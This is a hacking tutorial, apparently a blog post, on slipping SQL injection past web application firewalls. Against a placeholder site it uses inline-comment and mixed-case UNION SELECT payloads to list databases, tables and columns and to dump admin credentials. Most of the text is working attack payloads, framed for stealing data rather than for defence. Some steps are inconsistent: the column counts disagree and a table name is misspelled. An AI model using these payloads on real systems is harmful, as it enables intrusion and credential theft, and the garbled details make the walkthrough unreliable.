Waf | Web Application Firewall Bypassing tutorial
Sometimes while doing SQL Injection and we see this "not acceptable or Forbidden 403". We say WTF is this man??. This is due to the web app firewall which blocks union all to prevent SQL injection or This is typically due to the server side rules that are filtering out your request. The question arises how to bypass it and still dump database? It is very simple. In every server there is different Configuration of the Firewall, so WAF (short form of web application firewall). Lets See how to bypass it.
Suppose here is an example, we are going to bypass the WAF of the site www.site.com.
Injection point: www.site.com/index.php?id=1' error
so we do a quick order by to check the number of colums.
www.site.com/index.php?id=1+order+by+7-- (errors)
www.site.com/index.php?id=1+order+by+6-- (no errors)
So we find that no of columns are 5 and then we do Union select all to check the number of vulnerable columns from where we can dump some information.
www.site.com/index.php?id=1+UNION+ALL+SELECT+1,2,3,4,5,6-- (Forbidden WTF!)
so we note that a firewall is running on this server so lets bypass it :D
to find the vulnerable columns we do is this:
www.site.com/index.php?id=1+/*!UNION*/+/*!SELECT*/+1,2,3,4,5,6-- (no errors :D)
then we get the output say number 2 means from number 2 we can dump some information like database name, its version, user name etc.
Now Lets dump user name,database name and version of the database.
www.site.com/index.php?id=1+/*!UNION*/+/*!SELECT*/+1,CONCAT(database(),user(),version()),3,4,5,6-- (Forbidden again)
We change the syntax to dump the data to this:
www.site.com/index.php?id=1+/*!UNION*/+/*!SELECT*/+1,ConCAt(database(),user(),version()),3,4,5,6-- (bypassed :D)
Results:
· Version = 5.0.92-community-log
· User = dumbdba@localhost
· Database() = exampleDB
Now let us try to get the list of all the databases available, instead of just the current one, like so:
www.site.com/index.php?id=1+/*!UNION*/+/*!SELECT*/+1,GROUP_CONCAT(SCHEMA_NAME),3,4,5+FROM+INFORMATION_SCHEMA.SCHEMATA
Results:
· Information_Schema
· exampleDB
So this will give us the available databases. Now lets dump tables.
www.site.com/index.php?id=1+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5,6+FROM+INFORMATION_SCHEM.TABLES+WHERE+TABLE_SCHEMA=DATABASE()-- (Forbidden)
Lets Bypass it we do like this:
www.site.com/index.php?id=1+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5,6+FROM+/*!INFORMATION_SCHEM*/.TABLES (Bypassed)
Lets Suppose Tables Found are admin and details.
Lets now find Columns names, we can find by using this syntax:
www.site.com/index.php?id=1+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5,6+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e-- (Found Columns :D)
Suppose We find the Columns ID,username,password.
Lets now dump the username and password, we can do by this syntax:
www.site.com/index.php?id=1+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(id,0x3a,login,0x3a,password,0x3a,email,0x3a),3,4,5,6+FROM+Admin--
The data comes out to be :
username:admin
password:12345
Congrats We have dumped the data by bypassing firewall filters :D
By : Navneet Singh